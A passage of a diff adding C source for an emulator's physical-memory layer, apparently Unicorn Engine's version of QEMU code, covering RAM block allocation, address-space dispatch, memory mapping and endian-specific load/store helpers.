TARGET_PAGE_BITS; + + if (new_ram_size > old_ram_size) { + int i; + for (i = 0; i < DIRTY_MEMORY_NUM; i++) { + uc->ram_list.dirty_memory[i] = + bitmap_zero_extend(uc->ram_list.dirty_memory[i], + old_ram_size, new_ram_size); + } + } + cpu_physical_memory_set_dirty_range(uc, new_block->offset, new_block->length); + + qemu_ram_setup_dump(new_block->host, new_block->length); + //qemu_madvise(new_block->host, new_block->length, QEMU_MADV_HUGEPAGE); + //qemu_madvise(new_block->host, new_block->length, QEMU_MADV_DONTFORK); + + return new_block->offset; +} + +// return -1 on error +ram_addr_t qemu_ram_alloc_from_ptr(ram_addr_t size, void *host, + MemoryRegion *mr, Error **errp) +{ + RAMBlock *new_block; + ram_addr_t addr; + Error *local_err = NULL; + + size = TARGET_PAGE_ALIGN(size); + new_block = g_malloc0(sizeof(*new_block)); + if (new_block == NULL) + return -1; + + new_block->mr = mr; + new_block->length = size; + new_block->fd = -1; + new_block->host = host; + if (host) { + new_block->flags |= RAM_PREALLOC; + } + addr = ram_block_add(mr->uc, new_block, &local_err); + if (local_err) { + g_free(new_block); + error_propagate(errp, local_err); + return -1; + } + return addr; +} + +ram_addr_t qemu_ram_alloc(ram_addr_t size, MemoryRegion *mr, Error **errp) +{ + return qemu_ram_alloc_from_ptr(size, NULL, mr, errp); +} + +void qemu_ram_free_from_ptr(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + if (addr == block->offset) { + QTAILQ_REMOVE(&uc->ram_list.blocks, block, next); + uc->ram_list.mru_block = NULL; + uc->ram_list.version++; + g_free(block); + break; + } + } +} + +void qemu_ram_free(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + if (addr == block->offset) { + QTAILQ_REMOVE(&uc->ram_list.blocks, block, next); + uc->ram_list.mru_block = NULL; + uc->ram_list.version++; + if (block->flags & RAM_PREALLOC) { + ; +#ifndef _WIN32 + } else if (block->fd >= 0) { + munmap(block->host, block->length); + close(block->fd); +#endif + } else { + qemu_anon_ram_free(block->host, block->length); + } + g_free(block); + break; + } + } +} + +#ifndef _WIN32 +void qemu_ram_remap(struct uc_struct *uc, ram_addr_t addr, ram_addr_t length) +{ + RAMBlock *block; + ram_addr_t offset; + int flags; + void *area, *vaddr; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + offset = addr - block->offset; + if (offset < block->length) { + vaddr = block->host + offset; + if (block->flags & RAM_PREALLOC) { + ; + } else { + flags = MAP_FIXED; + munmap(vaddr, length); + if (block->fd >= 0) { + flags |= (block->flags & RAM_SHARED ? + MAP_SHARED : MAP_PRIVATE); + area = mmap(vaddr, length, PROT_READ | PROT_WRITE, + flags, block->fd, offset); + } else { + /* + * Remap needs to match alloc. Accelerators that + * set phys_mem_alloc never remap. If they did, + * we'd need a remap hook here. + */ + assert(phys_mem_alloc == qemu_anon_ram_alloc); + + flags |= MAP_PRIVATE | MAP_ANONYMOUS; + area = mmap(vaddr, length, PROT_READ | PROT_WRITE, + flags, -1, 0); + } + if (area == MAP_FAILED || area != vaddr) { + fprintf(stderr, "Could not remap addr: " + RAM_ADDR_FMT "@" RAM_ADDR_FMT "\n", + length, addr); + exit(1); + } + memory_try_enable_merging(vaddr, length); + qemu_ram_setup_dump(vaddr, length); + } + return; + } + } +} +#endif /* !_WIN32 */ + +int qemu_get_ram_fd(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block = qemu_get_ram_block(uc, addr); + + return block->fd; +} + +void *qemu_get_ram_block_host_ptr(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block = qemu_get_ram_block(uc, addr); + + return block->host; +} + +/* Return a host pointer to ram allocated with qemu_ram_alloc. + With the exception of the softmmu code in this file, this should + only be used for local memory (e.g. video ram) that the device owns, + and knows it isn't going to access beyond the end of the block. + + It should not be used for general purpose DMA. + Use cpu_physical_memory_map/cpu_physical_memory_rw instead. + */ +void *qemu_get_ram_ptr(struct uc_struct *uc, ram_addr_t addr) +{ + RAMBlock *block = qemu_get_ram_block(uc, addr); + + return block->host + (addr - block->offset); +} + +/* Return a host pointer to guest's ram. Similar to qemu_get_ram_ptr + * but takes a size argument */ +static void *qemu_ram_ptr_length(struct uc_struct *uc, ram_addr_t addr, hwaddr *size) +{ + RAMBlock *block; + if (*size == 0) { + return NULL; + } + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + if (addr - block->offset < block->length) { + if (addr - block->offset + *size > block->length) + *size = block->length - addr + block->offset; + return block->host + (addr - block->offset); + } + } + + fprintf(stderr, "Bad ram offset %" PRIx64 "\n", (uint64_t)addr); + abort(); +} + +/* Some of the softmmu routines need to translate from a host pointer + (typically a TLB entry) back to a ram offset. */ +MemoryRegion *qemu_ram_addr_from_host(struct uc_struct *uc, void *ptr, ram_addr_t *ram_addr) +{ + RAMBlock *block; + uint8_t *host = ptr; + + block = uc->ram_list.mru_block; + if (block && block->host && host - block->host < block->length) { + goto found; + } + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + /* This case append when the block is not mapped. */ + if (block->host == NULL) { + continue; + } + if (host - block->host < block->length) { + goto found; + } + } + + return NULL; + +found: + *ram_addr = block->offset + (host - block->host); + return block->mr; +} + +static uint64_t subpage_read(struct uc_struct* uc, void *opaque, hwaddr addr, + unsigned len) +{ + subpage_t *subpage = opaque; + uint8_t buf[4]; + +#if defined(DEBUG_SUBPAGE) + printf("%s: subpage %p len %u addr " TARGET_FMT_plx "\n", __func__, + subpage, len, addr); +#endif + address_space_read(subpage->as, addr + subpage->base, buf, len); + switch (len) { + case 1: + return ldub_p(buf); + case 2: + return lduw_p(buf); + case 4: + return ldl_p(buf); + default: + abort(); + } +} + +static void subpage_write(struct uc_struct* uc, void *opaque, hwaddr addr, + uint64_t value, unsigned len) +{ + subpage_t *subpage = opaque; + uint8_t buf[4]; + +#if defined(DEBUG_SUBPAGE) + printf("%s: subpage %p len %u addr " TARGET_FMT_plx + " value %"PRIx64"\n", + __func__, subpage, len, addr, value); +#endif + switch (len) { + case 1: + stb_p(buf, value); + break; + case 2: + stw_p(buf, value); + break; + case 4: + stl_p(buf, value); + break; + default: + abort(); + } + address_space_write(subpage->as, addr + subpage->base, buf, len); +} + +static bool subpage_accepts(void *opaque, hwaddr addr, + unsigned len, bool is_write) +{ + subpage_t *subpage = opaque; +#if defined(DEBUG_SUBPAGE) + printf("%s: subpage %p %c len %u addr " TARGET_FMT_plx "\n", + __func__, subpage, is_write ? 'w' : 'r', len, addr); +#endif + + return address_space_access_valid(subpage->as, addr + subpage->base, + len, is_write); +} + +static const MemoryRegionOps subpage_ops = { + subpage_read, + subpage_write, + DEVICE_NATIVE_ENDIAN, + { + 0, 0, false, subpage_accepts, + }, +}; + +static int subpage_register (subpage_t *mmio, uint32_t start, uint32_t end, + uint16_t section) +{ + int idx, eidx; + + if (start >= TARGET_PAGE_SIZE || end >= TARGET_PAGE_SIZE) + return -1; + idx = SUBPAGE_IDX(start); + eidx = SUBPAGE_IDX(end); +#if defined(DEBUG_SUBPAGE) + printf("%s: %p start %08x end %08x idx %08x eidx %08x section %d\n", + __func__, mmio, start, end, idx, eidx, section); +#endif + for (; idx <= eidx; idx++) { + mmio->sub_section[idx] = section; + } + + return 0; +} + +static void notdirty_mem_write(struct uc_struct* uc, void *opaque, hwaddr ram_addr, + uint64_t val, unsigned size) +{ + if (!cpu_physical_memory_get_dirty_flag(uc, ram_addr, DIRTY_MEMORY_CODE)) { + tb_invalidate_phys_page_fast(uc, ram_addr, size); + } + switch (size) { + case 1: + stb_p(qemu_get_ram_ptr(uc, ram_addr), val); + break; + case 2: + stw_p(qemu_get_ram_ptr(uc, ram_addr), val); + break; + case 4: + stl_p(qemu_get_ram_ptr(uc, ram_addr), val); + break; + default: + abort(); + } + /* we remove the notdirty callback only if the code has been + flushed */ + if (!cpu_physical_memory_is_clean(uc, ram_addr)) { + CPUArchState *env = uc->current_cpu->env_ptr; + tlb_set_dirty(env, uc->current_cpu->mem_io_vaddr); + } +} + +static bool notdirty_mem_accepts(void *opaque, hwaddr addr, + unsigned size, bool is_write) +{ + return is_write; +} + +static const MemoryRegionOps notdirty_mem_ops = { + NULL, + notdirty_mem_write, + DEVICE_NATIVE_ENDIAN, + { + 0, 0, false, notdirty_mem_accepts, + }, +}; + +static void io_mem_init(struct uc_struct* uc) +{ + memory_region_init_io(uc, &uc->io_mem_rom, NULL, &unassigned_mem_ops, NULL, NULL, UINT64_MAX); + memory_region_init_io(uc, &uc->io_mem_unassigned, NULL, &unassigned_mem_ops, NULL, + NULL, UINT64_MAX); + memory_region_init_io(uc, &uc->io_mem_notdirty, NULL, ¬dirty_mem_ops, NULL, + NULL, UINT64_MAX); + //memory_region_init_io(uc, &uc->io_mem_watch, NULL, &watch_mem_ops, NULL, + // NULL, UINT64_MAX); +} + +static subpage_t *subpage_init(AddressSpace *as, hwaddr base) +{ + subpage_t *mmio; + + mmio = g_malloc0(sizeof(subpage_t)); + + mmio->as = as; + mmio->base = base; + memory_region_init_io(as->uc, &mmio->iomem, NULL, &subpage_ops, mmio, + NULL, TARGET_PAGE_SIZE); + mmio->iomem.subpage = true; +#if defined(DEBUG_SUBPAGE) + printf("%s: %p base " TARGET_FMT_plx " len %08x\n", __func__, + mmio, base, TARGET_PAGE_SIZE); +#endif + subpage_register(mmio, 0, TARGET_PAGE_SIZE-1, PHYS_SECTION_UNASSIGNED); + + return mmio; +} + +static uint16_t dummy_section(PhysPageMap *map, AddressSpace *as, + MemoryRegion *mr) +{ + MemoryRegionSection section = MemoryRegionSection_make( + mr, as, 0, + int128_2_64(), + false, + 0 + ); + + assert(as); + + return phys_section_add(map, §ion); +} + +MemoryRegion *iotlb_to_region(AddressSpace *as, hwaddr index) +{ + return as->dispatch->map.sections[index & ~TARGET_PAGE_MASK].mr; +} + +void phys_mem_clean(struct uc_struct* uc) +{ + AddressSpaceDispatch* d = uc->as.next_dispatch; + g_free(d->map.sections); +} + +static void mem_begin(MemoryListener *listener) +{ + AddressSpace *as = container_of(listener, AddressSpace, dispatch_listener); + AddressSpaceDispatch *d = g_new0(AddressSpaceDispatch, 1); + uint16_t n; + PhysPageEntry ppe = { 1, PHYS_MAP_NODE_NIL }; + struct uc_struct *uc = as->uc; + + n = dummy_section(&d->map, as, &uc->io_mem_unassigned); + assert(n == PHYS_SECTION_UNASSIGNED); + n = dummy_section(&d->map, as, &uc->io_mem_notdirty); + assert(n == PHYS_SECTION_NOTDIRTY); + n = dummy_section(&d->map, as, &uc->io_mem_rom); + assert(n == PHYS_SECTION_ROM); + // n = dummy_section(&d->map, as, &uc->io_mem_watch); + // assert(n == PHYS_SECTION_WATCH); + + d->phys_map = ppe; + d->as = as; + as->next_dispatch = d; +} + +static void mem_commit(MemoryListener *listener) +{ + AddressSpace *as = container_of(listener, AddressSpace, dispatch_listener); + AddressSpaceDispatch *cur = as->dispatch; + AddressSpaceDispatch *next = as->next_dispatch; + + phys_page_compact_all(next, next->map.nodes_nb); + + as->dispatch = next; + + if (cur) { + phys_sections_free(&cur->map); + g_free(cur); + } +} + +static void tcg_commit(MemoryListener *listener) +{ + struct uc_struct* uc = listener->address_space_filter->uc; + + /* since each CPU stores ram addresses in its TLB cache, we must + reset the modified entries */ + /* XXX: slow ! */ + tlb_flush(uc->cpu, 1); +} + +void address_space_init_dispatch(AddressSpace *as) +{ + MemoryListener ml = { 0 }; + + ml.begin = mem_begin; + ml.commit = mem_commit; + ml.region_add = mem_add; + ml.region_nop = mem_add; + ml.priority = 0; + + as->dispatch = NULL; + as->dispatch_listener = ml; + memory_listener_register(as->uc, &as->dispatch_listener, as); +} + +void address_space_unregister(AddressSpace *as) +{ + memory_listener_unregister(as->uc, &as->dispatch_listener); +} + +void address_space_destroy_dispatch(AddressSpace *as) +{ + AddressSpaceDispatch *d = as->dispatch; + + memory_listener_unregister(as->uc, &as->dispatch_listener); + g_free(d->map.nodes); + g_free(d); + + if (as->dispatch != as->next_dispatch) { + d = as->next_dispatch; + g_free(d->map.nodes); + g_free(d); + } + + as->dispatch = NULL; + as->next_dispatch = NULL; +} + +static void memory_map_init(struct uc_struct *uc) +{ + uc->system_memory = g_malloc(sizeof(*(uc->system_memory))); + + memory_region_init(uc, uc->system_memory, NULL, "system", UINT64_MAX); + address_space_init(uc, &uc->as, uc->system_memory, "memory"); +} + +void cpu_exec_init_all(struct uc_struct *uc) +{ +#if !defined(CONFIG_USER_ONLY) + memory_map_init(uc); +#endif + io_mem_init(uc); +} + +MemoryRegion *get_system_memory(struct uc_struct *uc) +{ + return uc->system_memory; +} + +#endif /* !defined(CONFIG_USER_ONLY) */ + +/* physical memory access (slow version, mainly for debug) */ +#if defined(CONFIG_USER_ONLY) +int cpu_memory_rw_debug(CPUState *cpu, target_ulong addr, + uint8_t *buf, int len, int is_write) +{ + int l, flags; + target_ulong page; + void * p; + + while (len > 0) { + page = addr & TARGET_PAGE_MASK; + l = (page + TARGET_PAGE_SIZE) - addr; + if (l > len) + l = len; + flags = page_get_flags(page); + if (!(flags & PAGE_VALID)) + return -1; + if (is_write) { + if (!(flags & PAGE_WRITE)) + return -1; + /* XXX: this code should not depend on lock_user */ + if (!(p = lock_user(VERIFY_WRITE, addr, l, 0))) + return -1; + memcpy(p, buf, l); + unlock_user(p, addr, l); + } else { + if (!(flags & PAGE_READ)) + return -1; + /* XXX: this code should not depend on lock_user */ + if (!(p = lock_user(VERIFY_READ, addr, l, 1))) + return -1; + memcpy(buf, p, l); + unlock_user(p, addr, 0); + } + len -= l; + buf += l; + addr += l; + } + return 0; +} + +#else + +static void invalidate_and_set_dirty(struct uc_struct *uc, hwaddr addr, + hwaddr length) +{ + if (cpu_physical_memory_range_includes_clean(uc, addr, length)) { + tb_invalidate_phys_range(uc, addr, addr + length, 0); + } +} + +static int memory_access_size(MemoryRegion *mr, unsigned l, hwaddr addr) +{ + unsigned access_size_max = mr->ops->valid.max_access_size; + + /* Regions are assumed to support 1-4 byte accesses unless + otherwise specified. */ + if (access_size_max == 0) { + access_size_max = 4; + } + + /* Bound the maximum access by the alignment of the address. */ + if (!mr->ops->impl.unaligned) { + unsigned align_size_max = addr & (0-addr); + if (align_size_max != 0 && align_size_max < access_size_max) { + access_size_max = align_size_max; + } + } + + /* Don't attempt accesses larger than the maximum. */ + if (l > access_size_max) { + l = access_size_max; + } + if (l & (l - 1)) { + l = 1 << (qemu_fls(l) - 1); + } + + return l; +} + +bool address_space_rw(AddressSpace *as, hwaddr addr, uint8_t *buf, + int len, bool is_write) +{ + hwaddr l; + uint8_t *ptr; + uint64_t val; + hwaddr addr1; + MemoryRegion *mr; + bool error = false; + + while (len > 0) { + l = len; + + mr = address_space_translate(as, addr, &addr1, &l, is_write); + if (!mr) + return true; + + if (is_write) { + if (!memory_access_is_direct(mr, is_write)) { + l = memory_access_size(mr, l, addr1); + /* XXX: could force current_cpu to NULL to avoid + potential bugs */ + switch (l) { + case 8: + /* 64 bit write access */ + val = ldq_p(buf); + error |= io_mem_write(mr, addr1, val, 8); + break; + case 4: + /* 32 bit write access */ + val = ldl_p(buf); + error |= io_mem_write(mr, addr1, val, 4); + break; + case 2: + /* 16 bit write access */ + val = lduw_p(buf); + error |= io_mem_write(mr, addr1, val, 2); + break; + case 1: + /* 8 bit write access */ + val = ldub_p(buf); + error |= io_mem_write(mr, addr1, val, 1); + break; + default: + abort(); + } + } else { + addr1 += memory_region_get_ram_addr(mr); + /* RAM case */ + ptr = qemu_get_ram_ptr(as->uc, addr1); + memcpy(ptr, buf, l); + invalidate_and_set_dirty(as->uc, addr1, l); + } + } else { + if (!memory_access_is_direct(mr, is_write)) { + /* I/O case */ + l = memory_access_size(mr, l, addr1); + + switch (l) { + case 8: + /* 64 bit read access */ + error |= io_mem_read(mr, addr1, &val, 8); + stq_p(buf, val); + break; + case 4: + /* 32 bit read access */ + error |= io_mem_read(mr, addr1, &val, 4); + stl_p(buf, val); + break; + case 2: + /* 16 bit read access */ + error |= io_mem_read(mr, addr1, &val, 2); + stw_p(buf, val); + break; + case 1: + /* 8 bit read access */ + error |= io_mem_read(mr, addr1, &val, 1); + stb_p(buf, val); + break; + default: + abort(); + } + } else { + /* RAM case */ + ptr = qemu_get_ram_ptr(as->uc, mr->ram_addr + addr1); + memcpy(buf, ptr, l); + } + } + len -= l; + buf += l; + addr += l; + } + + return error; +} + +bool address_space_write(AddressSpace *as, hwaddr addr, + const uint8_t *buf, int len) +{ + return address_space_rw(as, addr, (uint8_t *)buf, len, true); +} + +bool address_space_read(AddressSpace *as, hwaddr addr, uint8_t *buf, int len) +{ + return address_space_rw(as, addr, buf, len, false); +} + + +bool cpu_physical_memory_rw(AddressSpace *as, hwaddr addr, uint8_t *buf, + int len, int is_write) +{ + return address_space_rw(as, addr, buf, len, is_write); +} + +enum write_rom_type { + WRITE_DATA, + FLUSH_CACHE, +}; + +static inline void cpu_physical_memory_write_rom_internal(AddressSpace *as, + hwaddr addr, const uint8_t *buf, int len, enum write_rom_type type) +{ + hwaddr l; + uint8_t *ptr; + hwaddr addr1; + MemoryRegion *mr; + + while (len > 0) { + l = len; + mr = address_space_translate(as, addr, &addr1, &l, true); + + if (!(memory_region_is_ram(mr) || + memory_region_is_romd(mr))) { + /* do nothing */ + } else { + addr1 += memory_region_get_ram_addr(mr); + /* ROM/RAM case */ + ptr = qemu_get_ram_ptr(as->uc, addr1); + switch (type) { + case WRITE_DATA: + memcpy(ptr, buf, l); + invalidate_and_set_dirty(as->uc, addr1, l); + break; + case FLUSH_CACHE: + flush_icache_range((uintptr_t)ptr, (uintptr_t)ptr + l); + break; + } + } + len -= l; + buf += l; + addr += l; + } +} + +/* used for ROM loading : can write in RAM and ROM */ +DEFAULT_VISIBILITY +void cpu_physical_memory_write_rom(AddressSpace *as, hwaddr addr, + const uint8_t *buf, int len) +{ + cpu_physical_memory_write_rom_internal(as, addr, buf, len, WRITE_DATA); +} + +void cpu_flush_icache_range(AddressSpace *as, hwaddr start, int len) +{ + /* + * This function should do the same thing as an icache flush that was + * triggered from within the guest. For TCG we are always cache coherent, + * so there is no need to flush anything. For KVM / Xen we need to flush + * the host's instruction cache at least. + */ + if (tcg_enabled(as->uc)) { + return; + } + + cpu_physical_memory_write_rom_internal(as, + start, NULL, len, FLUSH_CACHE); +} + + +bool address_space_access_valid(AddressSpace *as, hwaddr addr, int len, bool is_write) +{ + MemoryRegion *mr; + hwaddr l, xlat; + + while (len > 0) { + l = len; + mr = address_space_translate(as, addr, &xlat, &l, is_write); + if (!memory_access_is_direct(mr, is_write)) { + l = memory_access_size(mr, l, addr); + if (!memory_region_access_valid(mr, xlat, l, is_write)) { + return false; + } + } + + len -= l; + addr += l; + } + return true; +} + +/* Map a physical memory region into a host virtual address. + * May map a subset of the requested range, given by and returned in *plen. + * May return NULL if resources needed to perform the mapping are exhausted. + * Use only for reads OR writes - not for read-modify-write operations. + * Use cpu_register_map_client() to know when retrying the map operation is + * likely to succeed. + */ +void *address_space_map(AddressSpace *as, + hwaddr addr, + hwaddr *plen, + bool is_write) +{ + hwaddr len = *plen; + hwaddr done = 0; + hwaddr l, xlat, base; + MemoryRegion *mr, *this_mr; + ram_addr_t raddr; + + if (len == 0) { + return NULL; + } + + l = len; + mr = address_space_translate(as, addr, &xlat, &l, is_write); + if (!memory_access_is_direct(mr, is_write)) { + if (as->uc->bounce.buffer) { + return NULL; + } + /* Avoid unbounded allocations */ + l = MIN(l, TARGET_PAGE_SIZE); + as->uc->bounce.buffer = qemu_memalign(TARGET_PAGE_SIZE, l); + as->uc->bounce.addr = addr; + as->uc->bounce.len = l; + + memory_region_ref(mr); + as->uc->bounce.mr = mr; + if (!is_write) { + address_space_read(as, addr, as->uc->bounce.buffer, l); + } + + *plen = l; + return as->uc->bounce.buffer; + } + + base = xlat; + raddr = memory_region_get_ram_addr(mr); + + for (;;) { + len -= l; + addr += l; + done += l; + if (len == 0) { + break; + } + + l = len; + this_mr = address_space_translate(as, addr, &xlat, &l, is_write); + if (this_mr != mr || xlat != base + done) { + break; + } + } + + memory_region_ref(mr); + *plen = done; + return qemu_ram_ptr_length(as->uc, raddr + base, plen); +} + +/* Unmaps a memory region previously mapped by address_space_map(). + * Will also mark the memory as dirty if is_write == 1. access_len gives + * the amount of memory that was actually read or written by the caller. + */ +void address_space_unmap(AddressSpace *as, void *buffer, hwaddr len, + int is_write, hwaddr access_len) +{ + if (buffer != as->uc->bounce.buffer) { + MemoryRegion *mr; + ram_addr_t addr1; + + mr = qemu_ram_addr_from_host(as->uc, buffer, &addr1); + assert(mr != NULL); + if (is_write) { + invalidate_and_set_dirty(as->uc, addr1, access_len); + } + memory_region_unref(mr); + return; + } + if (is_write) { + address_space_write(as, as->uc->bounce.addr, as->uc->bounce.buffer, access_len); + } + qemu_vfree(as->uc->bounce.buffer); + as->uc->bounce.buffer = NULL; + memory_region_unref(as->uc->bounce.mr); +} + +void *cpu_physical_memory_map(AddressSpace *as, hwaddr addr, + hwaddr *plen, + int is_write) +{ + return address_space_map(as, addr, plen, is_write); +} + +void cpu_physical_memory_unmap(AddressSpace *as, void *buffer, hwaddr len, + int is_write, hwaddr access_len) +{ + address_space_unmap(as, buffer, len, is_write, access_len); +} + +/* warning: addr must be aligned */ +static inline uint32_t ldl_phys_internal(AddressSpace *as, hwaddr addr, + enum device_endian endian) +{ + uint8_t *ptr; + uint64_t val; + MemoryRegion *mr; + hwaddr l = 4; + hwaddr addr1; + + mr = address_space_translate(as, addr, &addr1, &l, false); + if (l < 4 || !memory_access_is_direct(mr, false)) { + /* I/O case */ + io_mem_read(mr, addr1, &val, 4); +#if defined(TARGET_WORDS_BIGENDIAN) + if (endian == DEVICE_LITTLE_ENDIAN) { + val = bswap32(val); + } +#else + if (endian == DEVICE_BIG_ENDIAN) { + val = bswap32(val); + } +#endif + } else { + /* RAM case */ + ptr = qemu_get_ram_ptr(as->uc, (memory_region_get_ram_addr(mr) + & TARGET_PAGE_MASK) + + addr1); + switch (endian) { + case DEVICE_LITTLE_ENDIAN: + val = ldl_le_p(ptr); + break; + case DEVICE_BIG_ENDIAN: + val = ldl_be_p(ptr); + break; + default: + val = ldl_p(ptr); + break; + } + } + return val; +} + +uint32_t ldl_phys(AddressSpace *as, hwaddr addr) +{ + return ldl_phys_internal(as, addr, DEVICE_NATIVE_ENDIAN); +} + +uint32_t ldl_le_phys(AddressSpace *as, hwaddr addr) +{ + return ldl_phys_internal(as, addr, DEVICE_LITTLE_ENDIAN); +} + +uint32_t ldl_be_phys(AddressSpace *as, hwaddr addr) +{ + return ldl_phys_internal(as, addr, DEVICE_BIG_ENDIAN); +} + +/* warning: addr must be aligned */ +static inline uint64_t ldq_phys_internal(AddressSpace *as, hwaddr addr, + enum device_endian endian) +{ + uint8_t *ptr; + uint64_t val; + MemoryRegion *mr; + hwaddr l = 8; + hwaddr addr1; + + mr = address_space_translate(as, addr, &addr1, &l, + false); + if (l < 8 || !memory_access_is_direct(mr, false)) { + /* I/O case */ + io_mem_read(mr, addr1, &val, 8); +#if defined(TARGET_WORDS_BIGENDIAN) + if (endian == DEVICE_LITTLE_ENDIAN) { + val = bswap64(val); + } +#else + if (endian == DEVICE_BIG_ENDIAN) { + val = bswap64(val); + } +#endif + } else { + /* RAM case */ + ptr = qemu_get_ram_ptr(as->uc, (memory_region_get_ram_addr(mr) + & TARGET_PAGE_MASK) + + addr1); + switch (endian) { + case DEVICE_LITTLE_ENDIAN: + val = ldq_le_p(ptr); + break; + case DEVICE_BIG_ENDIAN: + val = ldq_be_p(ptr); + break; + default: + val = ldq_p(ptr); + break; + } + } + return val; +} + +uint64_t ldq_phys(AddressSpace *as, hwaddr addr) +{ + return ldq_phys_internal(as, addr, DEVICE_NATIVE_ENDIAN); +} + +uint64_t ldq_le_phys(AddressSpace *as, hwaddr addr) +{ + return ldq_phys_internal(as, addr, DEVICE_LITTLE_ENDIAN); +} + +uint64_t ldq_be_phys(AddressSpace *as, hwaddr addr) +{ + return ldq_phys_internal(as, addr, DEVICE_BIG_ENDIAN); +} + +/* XXX: optimize */ +uint32_t ldub_phys(AddressSpace *as, hwaddr addr) +{ + uint8_t val; + address_space_rw(as, addr, &val, 1, 0); + return val; +} + +/* warning: addr must be aligned */ +static inline uint32_t lduw_phys_internal(AddressSpace *as, hwaddr addr, + enum device_endian endian) +{ + uint8_t *ptr; + uint64_t val; + MemoryRegion *mr; + hwaddr l = 2; + hwaddr addr1; + + mr = address_space_translate(as, addr, &addr1, &l, + false); + if (l < 2 || !memory_access_is_direct(mr, false)) { + /* I/O case */ + io_mem_read(mr, addr1, &val, 2); +#if defined(TARGET_WORDS_BIGENDIAN) + if (endian == DEVICE_LITTLE_ENDIAN) { + val = bswap16(val); + } +#else + if (endian == DEVICE_BIG_ENDIAN) { + val = bswap16(val); + } +#endif + } else { + /* RAM case */ + ptr = qemu_get_ram_ptr(as->uc, (memory_region_get_ram_addr(mr) + & TARGET_PAGE_MASK) + + addr1); + switch (endian) { + case DEVICE_LITTLE_ENDIAN: + val = lduw_le_p(ptr); + break; + case DEVICE_BIG_ENDIAN: + val = lduw_be_p(ptr); + break; + default: + val = lduw_p(ptr); + break; + } + } + return val; +} + +uint32_t lduw_phys(AddressSpace *as, hwaddr addr) +{ + return lduw_phys_internal(as, addr, DEVICE_NATIVE_ENDIAN); +} + +uint32_t lduw_le_phys(AddressSpace *as, hwaddr addr) +{ + return lduw_phys_internal(as, addr, DEVICE_LITTLE_ENDIAN); +} + +uint32_t lduw_be_phys(AddressSpace *as, hwaddr addr) +{ + return lduw_phys_internal(as, addr, DEVICE_BIG_ENDIAN); +} + +/* warning: addr must be aligned. The ram page is not masked as dirty + and the code inside is not invalidated. It is useful if the dirty + bits are used to track modified PTEs */ +void stl_phys_notdirty(AddressSpace *as, hwaddr addr, uint32_t val) +{ + uint8_t *ptr; + MemoryRegion *mr; + hwaddr l = 4; + hwaddr addr1; + + mr = address_space_translate(as, addr, &addr1, &l, + true); + if (l < 4 || !memory_access_is_direct(mr, true)) { + io_mem_write(mr, addr1, val, 4); + } else { + addr1 += memory_region_get_ram_addr(mr) & TARGET_PAGE_MASK; + ptr = qemu_get_ram_ptr(as->uc, addr1); + stl_p(ptr, val); + } +} + +/* warning: addr must be aligned */ +static inline void stl_phys_internal(AddressSpace *as, + hwaddr addr, uint32_t val, + enum device_endian endian) +{ + uint8_t *ptr; + MemoryRegion *mr; + hwaddr l = 4; + hwaddr addr1; + + mr = address_space_translate(as, addr, &addr1, &l, + true); + if (l < 4 || !memory_access_is_direct(mr, true)) { +#if defined(TARGET_WORDS_BIGENDIAN) + if (endian == DEVICE_LITTLE_ENDIAN) { + val = bswap32(val); + } +#else + if (endian == DEVICE_BIG_ENDIAN) { + val = bswap32(val); + } +#endif + io_mem_write(mr, addr1, val, 4); + } else { + /* RAM case */ + addr1 += memory_region_get_ram_addr(mr) & TARGET_PAGE_MASK; + ptr = qemu_get_ram_ptr(as->uc, addr1); + switch (endian) { + case DEVICE_LITTLE_ENDIAN: + stl_le_p(ptr, val); + break; + case DEVICE_BIG_ENDIAN: + stl_be_p(ptr, val); + break; + default: + stl_p(ptr, val); + break; + } + invalidate_and_set_dirty(mr->uc, addr1, 4); + } +} + +void stl_phys(AddressSpace *as, hwaddr addr, uint32_t val) +{ + stl_phys_internal(as, addr, val, DEVICE_NATIVE_ENDIAN); +} + +void stl_le_phys(AddressSpace *as, hwaddr addr, uint32_t val) +{ + stl_phys_internal(as, addr, val, DEVICE_LITTLE_ENDIAN); +} + +void stl_be_phys(AddressSpace *as, hwaddr addr, uint32_t val) +{ + stl_phys_internal(as, addr, val, DEVICE_BIG_ENDIAN); +} + +/* XXX: optimize */ +void stb_phys(AddressSpace *as, hwaddr addr, uint32_t val) +{ + uint8_t v = val; + address_space_rw(as, addr, &v, 1, 1); +} + +/* warning: addr must be aligned */ +static inline void stw_phys_internal(AddressSpace *as, + hwaddr addr, uint32_t val, + enum device_endian endian) +{ + uint8_t *ptr; + MemoryRegion *mr; + hwaddr l = 2; + hwaddr addr1; + + mr = address_space_translate(as, addr, &addr1, &l, true); + if (l < 2 || !memory_access_is_direct(mr, true)) { +#if defined(TARGET_WORDS_BIGENDIAN) + if (endian == DEVICE_LITTLE_ENDIAN) { + val = bswap16(val); + } +#else + if (endian == DEVICE_BIG_ENDIAN) { + val = bswap16(val); + } +#endif + io_mem_write(mr, addr1, val, 2); + } else { + /* RAM case */ + addr1 += memory_region_get_ram_addr(mr) & TARGET_PAGE_MASK; + ptr = qemu_get_ram_ptr(as->uc, addr1); + switch (endian) { + case DEVICE_LITTLE_ENDIAN: + stw_le_p(ptr, val); + break; + case DEVICE_BIG_ENDIAN: + stw_be_p(ptr, val); + break; + default: + stw_p(ptr, val); + break; + } + invalidate_and_set_dirty(as->uc, addr1, 2); + } +} + +void stw_phys(AddressSpace *as, hwaddr addr, uint32_t val) +{ + stw_phys_internal(as, addr, val, DEVICE_NATIVE_ENDIAN); +} + +void stw_le_phys(AddressSpace *as, hwaddr addr, uint32_t val) +{ + stw_phys_internal(as, addr, val, DEVICE_LITTLE_ENDIAN); +} + +void stw_be_phys(AddressSpace *as, hwaddr addr, uint32_t val) +{ + stw_phys_internal(as, addr, val, DEVICE_BIG_ENDIAN); +} + +/* XXX: optimize */ +void stq_phys(AddressSpace *as, hwaddr addr, uint64_t val) +{ + val = tswap64(val); + address_space_rw(as, addr, (void *) &val, 8, 1); +} + +void stq_le_phys(AddressSpace *as, hwaddr addr, uint64_t val) +{ + val = cpu_to_le64(val); + address_space_rw(as, addr, (void *) &val, 8, 1); 